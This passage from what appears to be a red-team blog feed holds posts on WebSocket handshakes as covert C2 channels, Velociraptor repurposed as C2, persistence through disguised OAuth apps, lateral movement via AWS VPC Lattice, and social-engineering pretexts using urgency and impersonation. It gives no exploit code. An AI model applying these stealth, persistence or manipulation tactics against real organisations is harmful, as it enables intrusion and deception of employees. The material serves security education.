handshakes?</h3><p>For red teams, this handshake offers several advantages:</p><ul><li><p><strong>Protocol negotiation as a covert channel entry point - </strong>Subprotocols and headers can be used to smuggle metadata (e.g., agent ID) at connection time without sending an obvious payload. Because many applications accept arbitrary <code>Sec-WebSocket-Protocol</code> values, a red-team implant can hide a token inside that header at connect time.</p></li><li><p><strong>Leveraging legitimate, long-lived channels for C2 - </strong>Compromising or abusing a legitimate WebSocket endpoint allows persistent bidirectional control with low detectability. A red team operator can embed an agent on an internal host that opens a WebSocket to a cloud service the organization already trusts.</p></li><li><p><strong>Handshake-based reconnaissance and endpoint discovery - </strong>Sending crafted handshake requests can reveal endpoints and server behavior (subprotocols supported, origin enforcement etc.). Responses like supported subprotocols, or the absence of origin checks can leak useful information.</p></li><li><p><strong>Bypassing HTTP filtering and proxy rules - </strong>Some proxies or filtering systems apply different rules to WebSocket traffic or allow upgrade requests to pass. A red team can piggyback on allowed <code>Upgrade</code> flows or use <code>wss</code> to blend with HTTPS traffic.</p></li><li><p><strong>Handshake tampering &amp; MitM for session hijack - </strong>Where TLS is not used (ws://) or TLS is weak, an attacker in the path can tamper with headers or redirect the handshake to a malicious backend. </p></li></ul><p>If you want to experiment with WebSocket vulnerabilities, try out <a href="https://portswigger.net/web-security/learning-paths/websockets-security-vulnerabilities">this learning path</a> from PortSwigger Academy (its free). To learn more about WebSockets, check out the <a href="https://websocket.org/">official WebSockets website</a>.</p><pre><code><strong>TL;DR
- </strong>During a WebSocket handshake<strong> </strong>a browser sends an HTTP GET with Upgrade: websocket, Sec-WebSocket-Key, Sec-WebSocket-Version (&#177;Sec-WebSocket-Protocol/Origin); a compliant server replies 101 Switching Protocols with Sec-WebSocket-Accept, then the connection switches to WebSocket frames.
- It creates a persistent, full-duplex channel (ws:// or wss://) so both sides can send messages anytime with low latency.
- Red team can leverage handshake headers and subprotocols to carry covert metadata, wss on 443 or stealthy C2, frames to tunnel arbitrary data, and crafted handshakes to fingerprint servers.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Using Velociraptor as C2]]></title><description><![CDATA[Velociraptor repurposed as C2: explore its powers, risks, and real-world misuse in red team operations.]]></description><link>https://www.100daysofredteam.com/p/using-velociraptor-as-c2</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/using-velociraptor-as-c2</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Fri, 29 Aug 2025 14:31:46 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/abcae3ec-ade5-4c74-bd01-e92e3e437ded_879x655.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I came across an interesting news article yesterday which piqued my interest for today&#8217;s topic. The article was about <a href="https://news.sophos.com/en-us/2025/08/26/velociraptor-incident-response-tool-abused-for-remote-access/">attackers leveraging Velociraptor</a>, a digital forensics tool, as a <a href="https://www.100daysofredteam.com/p/its-all-about-command-and-control">Command and Control (C2) </a>tool. As I was reading more about it, I came across <a href="https://sec-consult.com/blog/detail/c2-powered-by-dinosaurs/">another article, published almost a month prior to this news, which discussed in detail how Velociraptor can be used a C2</a>. Then there was this tweet by <a href="https://x.com/vysecurity">Vincent Yiu</a> from two years back:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rHHa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rHHa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 424w, https://substackcdn.com/image/fetch/$s_!rHHa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 848w, https://substackcdn.com/image/fetch/$s_!rHHa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 1272w, https://substackcdn.com/image/fetch/$s_!rHHa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rHHa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png" width="743" height="123" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:123,&quot;width&quot;:743,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:18237,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/172230562?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rHHa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 424w, https://substackcdn.com/image/fetch/$s_!rHHa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 848w, https://substackcdn.com/image/fetch/$s_!rHHa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 1272w, https://substackcdn.com/image/fetch/$s_!rHHa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28ce5554-0acf-4dbe-b61f-c2d339bb8a35_743x123.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a><figcaption class="image-caption">Snapshot of Vincent Yiu&#8217;s Tweet on using Velociraptor as C2</figcaption></figure></div><p>So, turns out that idea of using <a href="https://docs.velociraptor.app/">Velociraptor</a> as C2 was not new but, as far as I can recall, this was the first instance of Velociraptor being leveraged as a C2 in a real-world cyber attack. Wonder why that is? Keep reading!</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4><strong>What is Velociraptor?</strong></h4><p><a href="https://docs.velociraptor.app/">Velociraptor</a> is a live forensics and incident response platform built around a client-server architecture. It allows broad data collection and querying through Velociraptor Query Language (VQL) and pre-built &#8220;artifacts.&#8221; The tool is open-source and purpose-built for blue-team investigations.</p><h4><strong>Velociraptor&#8217;s C2-like capabilities</strong></h4><p>Though not designed as a C2, Velociraptor can perform several typical C2 functions:</p><ol><li><p><strong>Command execution</strong></p><ul><li><p>Executes commands via artifacts like <code>Generic.Client.VQL</code>, <code>Windows.System.PowerShell</code>, <code>Windows.System.CmdShell</code>, and <code>Linux.Sys.BashShell</code> (which works anywhere <code>/bin/bash</code> exists). These rely on the <code>execve</code> plugin.</p></li></ul></li><li><p><strong>File transfer</strong></p><ul><li><p>Retrieve files using <code>System.VFS.DownloadFile</code> or <code>Generic.Collectors.File</code>.</p></li><li><p>Uploading (push) files using <code>http_client</code> plugin and <code>Generic.Utils.FetchBinary</code>, which caches files on disk.</p></li></ul></li><li><p><strong>File searching</strong></p><ul><li><p>Use <code>Windows.Search.FileFinder</code>, <code>MacOS.Search.FileFinder</code>, or <code>Linux.Search.FileFinder</code>. These allow pattern, filename, or YARA-based searches, and can retrieve findings directly.</p></li></ul></li><li><p><strong>Secure communication channels</strong></p><ul><li><p>Supports HTTPS and secure WebSocket for communication between client and server.</p></li></ul></li><li><p><strong>Configuration updates</strong></p><ul><li><p>The <code>Admin.Client.UpdateClientConfig</code> artifact enables updating client configurations on the fly.</p></li></ul></li><li><p><strong>Monitoring &amp; visibility</strong></p><ul><li><p>Offers rich telemetry: artifacts for detecting service creation (<code>Windows.Events.ServiceCreation</code>), process creations (<code>Windows.Events.ProcessCreation</code>, enhanced with ETW via <code>Windows.Events.ETWProcesses</code>), generic process tracking across platforms (<code>Generic.Events.Processes</code>), account logons (<code>Windows.Events.Trackaccount</code>), and <a href="https://sec-consult.com/blog/detail/c2-powered-by-dinosaurs/">high-privilege logons (</a><code>Windows.Events.HighPrivilegedLogon</code><a href="https://sec-consult.com/blog/detail/c2-powered-by-dinosaurs/">) </a></p></li></ul></li></ol><p>These behaviors illustrate how Velociraptor can function in several core C2 domains: executing commands, transferring files, monitoring processes, persisting, and communicating securely.</p><h4><strong>Pros &amp; cons of using Velociraptor as a C2</strong></h4><h4><strong>Pros</strong></h4><ul><li><p>Legitimate, trusted binaries (especially on Windows/mac) can bypass naive detections.</p></li><li><p>Powerful, flexible querying (VQL + artifacts) enables custom operations across platforms.</p></li><li><p>Pre-built artifacts support core C2 functions: command execution, file transfer, monitoring.</p></li><li><p>TLS-based channels with mTLS support are available for communications.</p></li><li><p>Extensible and modifiable&#8212;teams can customize artifacts or binaries to expand capability.</p></li></ul><h4><strong>Cons</strong></h4><ul><li><p>Requires high privileges and local installation, which increases detection risk.</p></li><li><p>Not designed for stealth, so artifacts, logs, and AV/EDR coverage make detection likely.</p></li><li><p>DLL hijack risks if running from non-trusted locations.</p></li><li><p>Config includes infrastructure information, making server discovery easier.</p></li><li><p>Shared client certificates limit operational flexibility and opsec.</p></li><li><p>Security products often detect it, and defenders may proactively alert on its presence.</p></li><li><p>The <a href="https://news.sophos.com/en-us/2025/08/26/velociraptor-incident-response-tool-abused-for-remote-access/">incident reported</a> shows how quickly real use can be triaged and blocked.</p></li></ul><p>Ultimately, whether using Velociraptor as C2 is a good or bad approach for red teams depends on the operator&#8217;s priorities&#8212;stealth, flexibility, trust, or tool-reuse&#8212;and the target environment. That judgment is left to the reader to decide.</p><pre><code><strong>TL;DR
- </strong>Velociraptor, a blue-team IR tool, can double as a Command-and-Control (C2) with capabilities like command execution, file transfer, monitoring, and persistence.
- Pros: trusted binaries, flexible VQL artifacts, TLS comms; Cons: high privilege needs, weak stealth, shared certs, easy detection.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Misusing SaaS app integrations for persistence]]></title><description><![CDATA[Learn how attackers abuse SaaS integrations for hidden persistence and re-entry into enterprise environments.]]></description><link>https://www.100daysofredteam.com/p/misusing-saas-app-integrations-for-persistence</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/misusing-saas-app-integrations-for-persistence</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Thu, 28 Aug 2025 04:28:20 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/cb8740ef-be81-475e-a3f2-da2a09c3d811_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Imagine a building with two entrances:</p><ul><li><p>The front door is guarded by security cameras and biometric scanners (endpoint defenses).</p></li><li><p>The side door is rarely used but can be opened with a special badge (OAuth tokens).</p></li></ul><p>An attacker does not try to sneak past the guard at the front. Instead, they convince an employee to hand them a badge for the side door. Once they have it, they can walk in whenever they like, without triggering alarms.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>When people think of persistence in a red team operation, the first ideas that come to mind are registry keys, scheduled tasks, or hidden services on endpoints. These techniques are well-known and often monitored. However, in today&#8217;s enterprise environment, a large portion of work happens in the cloud, particularly within Software-as-a-Service (SaaS) platforms such as Microsoft 365 and Google Workspace. These platforms bring convenience and scalability, but they also open the door for red teams to create persistent access in ways that are invisible to traditional endpoint defenses.</p><p>One particularly powerful technique is the <a href="https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/">misuse of </a><strong><a href="https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/">OAuth applications</a></strong>. <a href="https://auth0.com/intro-to-iam/what-is-oauth-2">OAuth</a> is the framework that allows one application to request permission to access data or resources from another, on behalf of the user. For example, a productivity app might ask permission to &#8220;read your emails&#8221; or &#8220;access your calendar.&#8221; Most employees are used to seeing these consent screens and will often click &#8220;Accept&#8221; without thinking twice.</p><p>From a red team perspective, this creates an opportunity. A red team operator can register their own &#8220;fake productivity app&#8221; in the target&#8217;s cloud environment. This app can be disguised to look like something harmless, perhaps a tool named &#8220;PDF Converter&#8221; or &#8220;Calendar Assistant.&#8221; During the consent process, the red team operator&#8217;s app can request far more permissions than it actually needs. For example:</p><ul><li><p>Read and send emails</p></li><li><p>Access files on a cloud drive</p></li><li><p>Read calendar events</p></li><li><p>Access contacts and directory data</p></li></ul><p>Once a user accepts, the app is granted an OAuth token. This token allows continuous access to the account&#8217;s data, even if the user changes their password or signs out of their devices i.e. if the OAuth token is not invalidated after  a password change or logout (this is not done by default and depends on the identity provider). In essence, the red team operator has created a backdoor into the cloud environment, and it does not rely on malware, implants, or compromised endpoints.</p><h4>Why this works so well</h4><p>This technique is effective because it blends seamlessly into the way modern organizations operate. Security teams are often focused on endpoint malware, phishing payloads, or network traffic anomalies. But in this case:</p><ul><li><p>No malicious binary runs on the system.</p></li><li><p>No suspicious persistence mechanism appears in autoruns or registry keys.</p></li><li><p>No C2 traffic stands out in the firewall.</p></li></ul><p>Instead, the persistence lives entirely in the cloud, authorized by the victim&#8217;s own consent. The only signs are in the audit logs, which many organizations do not actively monitor for OAuth misuse.</p><h4>Persistence beyond the cloud</h4><p>At first glance, this type of persistence seems limited to SaaS applications. But in practice, it can serve as a launchpad for access to the broader enterprise environment. The red team operator may not be running code directly on endpoints, but the persistent OAuth app gives them a guaranteed delivery channel into the organization.</p><p>Consider these scenarios:</p><ul><li><p>The red team operator uploads a malicious script into a cloud drive folder. Since these folders sync to user devices, the payload appears directly on endpoints.</p></li><li><p>With permissions to send emails, the red team operator can deliver weaponized attachments or links that originate from a trusted internal account, drastically increasing success rates.</p></li><li><p>Even if defenders wipe compromised endpoints or reset passwords, the red team operator&#8217;s SaaS app remains authorized. They can simply re-deliver payloads later, regaining shell access.</p></li></ul><p>In this way, SaaS persistence does not produce a traditional backdoor by itself, but it guarantees the red team operator can re-establish access on demand, making it just as powerful.</p><h4>Why should red teams care about it?</h4><p>For red teams, this technique highlights the importance of thinking beyond traditional persistence methods. Instead of asking, &#8220;How can I stay hidden on this endpoint?&#8221; the question becomes, &#8220;How can I stay hidden in this organization&#8217;s SaaS ecosystem?&#8221; By leveraging OAuth applications, a red team can maintain long-term access and regain access whenever needed, often without detection.</p><pre><code><strong>TL;DR</strong>
- OAuth based fake apps (e.g. fake productivity apps) can gain excessive permissions with little user resistance.
- Persistence extends beyond SaaS, acting as a delivery channel for fresh payloads.
- Access can be regained even after endpoints are cleaned or passwords reset.
- OAuth-based persistence is stealthy because it bypasses endpoint defenses.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Red Team perspective on AWS VPC Lattice]]></title><description><![CDATA[Exploring AWS VPC Lattice and how attackers could abuse it for stealth, movement, and hidden access paths.]]></description><link>https://www.100daysofredteam.com/p/red-team-perspective-on-aws-vpc-lattice</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/red-team-perspective-on-aws-vpc-lattice</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Wed, 27 Aug 2025 03:13:19 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/46d0bafc-c305-43d4-95a9-3eeb3d42ed0f_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cloud services evolve at a rapid pace, and with every new feature comes new opportunities&#8212;both for defenders to build resilient architectures and for attackers to misuse them in creative ways. One of the more recent additions to AWS networking is VPC Lattice, a fully managed application networking service designed to simplify communication between services across multiple VPCs. While it was created for legitimate use cases like microservices, hybrid applications, and service-to-service communication, it also introduces a new dimension for red teamers to explore: stealthy, internal-only infrastructure communication that avoids traditional detection paths.</p><h4>What is AWS VPC Lattice?</h4><p>Traditionally, connecting workloads across multiple VPCs requires peering connections, Transit Gateways, or complex networking setups. <a href="https://aws.amazon.com/vpc/lattice/">AWS VPC Lattice</a> simplifies this by providing an application-level networking layer. Instead of managing IPs and routing tables, developers can connect services to a Lattice service network and allow communication through service names.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>In simpler words, it creates a service mesh-like system within AWS that abstracts away the networking headaches. Services inside VPCs can communicate securely and consistently without needing public exposure or manual routing.</p><p>Key benefits of VPC Lattice include:</p><ul><li><p><strong>Service-to-service communication</strong> without exposing public endpoints.</p></li><li><p><strong>Consistent authentication and authorization</strong> using IAM and policies.</p></li><li><p><strong>Cross-VPC and cross-account connectivity</strong> without the need for complex peering setups.</p></li><li><p><strong>Managed observability</strong> with built-in logging and monitoring.</p></li></ul><h4>Visualization of VPC Lattice</h4><p>Imagine three different applications running in different VPCs&#8212;App A in VPC1, App B in VPC2, and App C in VPC3. Normally, connecting them requires networking workarounds. With VPC Lattice, they can all join a service network and communicate through it as if they were part of the same logical group.</p><pre><code>   +-------------------+
   |  VPC Lattice      |
   |  Service Network  |
   +-------------------+
      /        |       \
   App A      App B    App C
  (VPC 1)   (VPC 2)   (VPC 3)</code></pre><p>Each application only needs to register with Lattice and can then send requests to others through a managed and secure channel. No public IPs, no internet gateways, no external exposure.</p><h4>Why is this Important for Red Teams?</h4><p>From a defensive perspective, VPC Lattice is great&#8212;it reduces attack surface by removing the need for public endpoints and simplifies networking. However, from a red team perspective, these same features open up stealth opportuniti<strong>es</strong> once access to a target environment has been gained.</p><p>If an organization already uses VPC Lattice to connect microservices, a compromised workload may inherit trusted access across multiple VPCs. This creates possibilities such as:</p><ul><li><p><strong>Lateral movement across VPCs</strong> by abusing existing service-to-service communication.</p></li><li><p><strong>Blending in with legitimate traffic</strong>, since Lattice requests look like normal microservice activity.</p></li><li><p><strong>Bypassing traditional boundaries</strong>, avoiding internet gateways, load balancers, or public endpoints entirely.</p></li></ul><p>The critical point here is that VPC Lattice hides complexity and exposure for defenders, but at the same time, it hides malicious activity for attackers.</p><pre><code><strong>TL;DR
- </strong>AWS VPC Lattice simplifies service-to-service communication across VPCs.
- It removes public exposure by routing traffic inside AWS&#8217; private network.
- Attackers can abuse existing Lattice setups for stealth and lateral movement.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[The Art of Pretext: Building better backstories for social engineering - Part 3]]></title><description><![CDATA[Learn how to create research-backed, believable pretexts for social engineering ops.]]></description><link>https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-3</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-3</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Sun, 15 Jun 2025 14:30:48 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f901a217-8faa-4f8a-bddb-5faceb626b8d_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A strong pretext doesn&#8217;t just spring from imagination &#8212; it&#8217;s built on data, observation, and thoughtful design. Now that we&#8217;ve explored <a href="https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-1">what makes pretexts fail</a> and <a href="https://www.100daysofredteam.com/p/the-art-of-pretext-building-better-backstories-for-social-engineering-part-2">what makes them strong</a>, let&#8217;s look at how to actually create them, how to add layers of believability, and how to handle situations when things don&#8217;t go according to plan.</p><h4><strong>Research-driven pretext creation</strong></h4><p>Every great pretext begins with research. Open-source intelligence (OSINT) provides the raw materials that helps construct a role that fits neatly into the target&#8217;s world. By studying a company&#8217;s digital footprint, you can identify common vendors they use, jargon specific to their industry, and the names of internal systems or tools. For example, browsing LinkedIn profiles of employees might reveal that the company uses ServiceNow for IT tickets, or that they recently switched their security vendor. This detail can help you pose as a technician following up on a migration or patching task that aligns with their reality.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>Matching your pretext to the organization&#8217;s culture is equally critical. A startup tech company with casual open-office culture will expect very different behavior than a formal, process-driven hospital. Walking into a hospital pretending to be &#8220;just swinging by for a quick check on the Wi-Fi&#8221; would sound suspiciously informal. But at a startup, that relaxed tone might help you blend right in. The goal is to observe, listen, and design your pretext so it doesn&#8217;t stand out.</p><p>Useful sources for this kind of intelligence include LinkedIn, ZoomInfo, Glassdoor reviews, public contracts or vendor lists, company newsletters, and even photos shared by employees on social media. These can reveal everything from what the badge design looks like to which cafeteria the team frequents &#8212; small details that can help make your story stick.</p><h4><strong>Red team examples</strong></h4><p>Let&#8217;s look at a few anonymized examples where pretexts either succeeded or failed &#8212; and why.</p><p>In one case, a red teamer successfully entered a corporate office by posing as a printer technician. The pretext worked because it was supported by OSINT: the team learned from employee LinkedIn profiles that the company used a specific printer vendor and referenced that vendor by name at reception. The red teamer also carried a genuine work order printout and a small toolkit, reinforcing the illusion. Their calm, confident demeanor matched someone who does this task regularly, and no one batted an eye.</p><p>Contrast this with a failed attempt: a red teamer tried to impersonate an IT auditor at a financial firm without doing enough homework. When challenged by security at the desk, they couldn&#8217;t name the supposed audit manager who had &#8220;sent them,&#8221; nor could they produce any documentation. The company had a strict visitor escort policy that the team hadn&#8217;t anticipated. The result? The pretext fell apart under light questioning, and the operator was escorted out.</p><p>These examples highlight how success often hinges on preparation, attention to detail, and how well your pretext aligns with the target&#8217;s expectations and procedures.</p><h4><strong>Psychological tricks to add believability</strong></h4><p>Even the best pretext can benefit from subtle psychological tactics. Confidence is one of the most powerful tools in your arsenal. People are far more likely to believe a confident, relaxed individual who behaves as if they belong. Combine this with urgency &#8212; a subtle suggestion that delaying you will cause trouble or inconvenience for someone else &#8212; and you&#8217;ll find many people become eager to help rather than hinder.</p><p>Familiarity bias is another potent lever. Dropping internal lingo, like referencing a known internal system (&#8220;I&#8217;m just here to finish the 